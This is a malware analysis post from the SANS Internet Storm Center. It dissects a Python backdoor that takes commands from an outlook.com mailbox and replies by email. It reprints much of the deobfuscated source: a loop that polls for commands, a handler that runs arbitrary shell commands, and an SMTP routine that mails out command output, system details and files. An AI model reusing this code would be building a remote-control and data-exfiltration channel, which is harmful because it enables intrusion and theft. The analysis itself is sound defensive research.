Most malware implements communication with their C2 server over HTTP(S). Why? Just because it works! But they are multiple ways to implement C2 communications: DNS, P2P, Layer 7 (Twitter), … Another one that has become less popular with time is SMTP (email communications). I spotted a malicious Python script that exchanges information with its C2 server through emails.
The script in itself is (more precisely encrypted). The dropper has a VT score of 16/61 (SHA256:a83c2dcfda088cb363e5d5867133b24f5f82e535335642f602b8eb67bd7e3d70)[1]. By reading the script, you see references to AES and at the end of the script:
VVV = AESCipher("vg8G6F8i1JPxCrvsnTWtxp7CjdNLrftI")
S = VVV.decrypt(zlib.decompress(base64.urlsafe_b64decode(S))).encode("rot13")
exec S
No need to lose time to decrypt it manually. Just run the Python script in a debugger or print the content of the variable “S” to get access to the payload, which is much more interesting.
The script contains the following variables at the very beginning:
VafqEAOmQlHElGIzw = 'elena.makeieva@outlook.com' epbUrvGOfkujqk = '<redacted>' nylFCUirD = "smtp-mail[.]outlook[.]com" dPpyzLwcG = 587
The script has an infinite loop that polls the defined mailbox at regular intervals:
def gzHOIdWEnqygqLdS ( ) :
ddtnusC = [ ]
while True :
try :
XWsHvNcaR = IMAP4_SSL ( "imap-mail.outlook.com" )
XWsHvNcaR . login ( VafqEAOmQlHElGIzw , epbUrvGOfkujqk )
XWsHvNcaR . select ( "INBOX" )
sQjVFXwoOFzC , DTDmTVS = XWsHvNcaR . uid ( 'search' , None , '(HEADER Subject "outdoor:")' . format ( qISrvHziKh ) )
for BdkFBJxWcmsN in DTDmTVS [ 0 ] . split ( ) :
# logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))
klXAxJNtWRqTKo = XWsHvNcaR . uid ( 'fetch' , BdkFBJxWcmsN , '(RFC822)' )
ntmhhtANAcYXAdOzv = VkcitADCQE ( klXAxJNtWRqTKo )
mbTyaFBCEqHSz = ntmhhtANAcYXAdOzv . subject . split ( ':' ) [ 2 ]
if ntmhhtANAcYXAdOzv . dict :
PUyTWqCvrbwYzfEvXbX = ntmhhtANAcYXAdOzv . dict [ 'CMD' ] . lower ( )
aXdOFeQxl = ntmhhtANAcYXAdOzv . dict [ 'ARG' ]
IpXCVOZGEykD = False
for vcblFHcktLOx in ddtnusC :
if vcblFHcktLOx == mbTyaFBCEqHSz :
IpXCVOZGEykD = True
if not IpXCVOZGEykD :
if PUyTWqCvrbwYzfEvXbX == 'download' :
WYPLOtCfPSBbZQZboq ( mbTyaFBCEqHSz , aXdOFeQxl )
elif PUyTWqCvrbwYzfEvXbX == 'cmd' :
jvcljzFtWZCyEsRNBmd ( aXdOFeQxl , mbTyaFBCEqHSz )
elif PUyTWqCvrbwYzfEvXbX == 'upload' :
gImmsvKIAzRJgsrCBhn ( aXdOFeQxl , mbTyaFBCEqHSz )
elif PUyTWqCvrbwYzfEvXbX == 'forcecheckin' :
DEoRDpUeMQZaOseI ( "Host checking in as requested" , checkin = True )
else :
raise NotImplementedError
ddtnusC . append ( mbTyaFBCEqHSz )
XWsHvNcaR . logout ( )
sleep ( 30 )
except Exception as YgQoUrOEf :
if NJJEtFlTlcAaUTahbT == True : RIoqH ( YgQoUrOEf )
sleep ( 30 )
How does it work? The script opens an IMAPS connection to Microsoft outlook.com, fetches messages from the inbox folder (with the subject “outdoor:”), and parses them through the VkcitADCQE() function. Commands are extracted and saved in a Python dictionary. You can see above that the script supports a limited set of commands. Let’s check the “cmd” one. When a “cmd” command is found in a mail, the command is executed:
class jvcljzFtWZCyEsRNBmd ( Thread ) :
def __init__ ( self , command , jobid ) :
Thread . __init__ ( self )
self . command = command
self . jobid = jobid
self . daemon = True
self . start ( )
def run ( self ) :
try :
UgCaNpxW = Popen ( self . command , shell = True , stdout = PIPE , stderr = PIPE ,
stdin = PIPE )
BOtIz = UgCaNpxW . stdout . read ( )
BOtIz += UgCaNpxW . stderr . read ( )
DEoRDpUeMQZaOseI ( { 'CMD' : self . command , 'RES' : BOtIz } , jobid = self . jobid )
except Exception as YgQoUrOEf :
if NJJEtFlTlcAaUTahbT == True : RIoqH ( YgQoUrOEf )
pass
Then, the output is sent back (base64 encoded) via email:
def DEoRDpUeMQZaOseI ( text , jobid = '' , attachment = [ ] , checkin = False ) :
JkQBfHzuw = qISrvHziKh
if jobid :
JkQBfHzuw = 'imp:{}:{}' . format ( qISrvHziKh , jobid )
elif checkin :
JkQBfHzuw = 'checkin:{}' . format ( qISrvHziKh )
ntmhhtANAcYXAdOzv = MIMEMultipart ( )
ntmhhtANAcYXAdOzv [ 'From' ] = JkQBfHzuw
ntmhhtANAcYXAdOzv [ 'To' ] = VafqEAOmQlHElGIzw
ntmhhtANAcYXAdOzv [ 'Subject' ] = JkQBfHzuw
emVQcE = { 'FGWINDOW' : "TEST" , 'SYS' : AzBQXZnqkssq ( ) , 'ADMIN' : mSxvRqtvHugevGL ( ) , 'MSG' : text }
emVQcE = b64encode ( str ( emVQcE ) )
ntmhhtANAcYXAdOzv . attach ( MIMEText ( str ( emVQcE ) ) )
for yDXkhJ in attachment :
if path . exists ( yDXkhJ ) == True :
MKAjREFQmhwRcGZGB = MIMEBase ( 'application' , 'octet-stream' )
MKAjREFQmhwRcGZGB . set_payload ( open ( yDXkhJ , 'rb' ) . read ( ) )
Encoders . encode_base64 ( MKAjREFQmhwRcGZGB )
MKAjREFQmhwRcGZGB . add_header ( 'Content-Disposition' , 'attachment; filename="{}"' . format ( path . basename ( yDXkhJ ) ) )
ntmhhtANAcYXAdOzv . attach ( MKAjREFQmhwRcGZGB )
while True :
try :
ADMIMNhFwSGVglla = SMTP ( )
ADMIMNhFwSGVglla . connect ( nylFCUirD , dPpyzLwcG )
ADMIMNhFwSGVglla . starttls ( )
ADMIMNhFwSGVglla . login ( VafqEAOmQlHElGIzw , epbUrvGOfkujqk )
ADMIMNhFwSGVglla . sendmail ( VafqEAOmQlHElGIzw , VafqEAOmQlHElGIzw , ntmhhtANAcYXAdOzv . as_string ( ) )
ADMIMNhFwSGVglla . quit ( )
break
except Exception as YgQoUrOEf :
if NJJEtFlTlcAaUTahbT == True : RIoqH ( YgQoUrOEf )
sleep ( 30 )
Unlike HTTP(S), this kind of C2 communication should not work in many cases because IMAPS and SMTP are usually not permitted on corporate networks (you can only use the official email platform). But it remains a very effective way to exfiltrate data. Always the same advice, know your networks(s) and track unusual connections to the Internet.
I tried to monitor the mailbox and to track some activity, but the credentials did not work. I tried to find more information about the email address; I don’t know if it’s a fake mailbox or one that has been hijacked. If you have more information, let us know!
[1] https://www.virustotal.com/gui/file/a83c2dcfda088cb363e5d5867133b24f5f82e535335642f602b8eb67bd7e3d70/detection
Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key
Source: https://isc.sans.edu/diary/C2+Communications+Through+outlookcom/29180/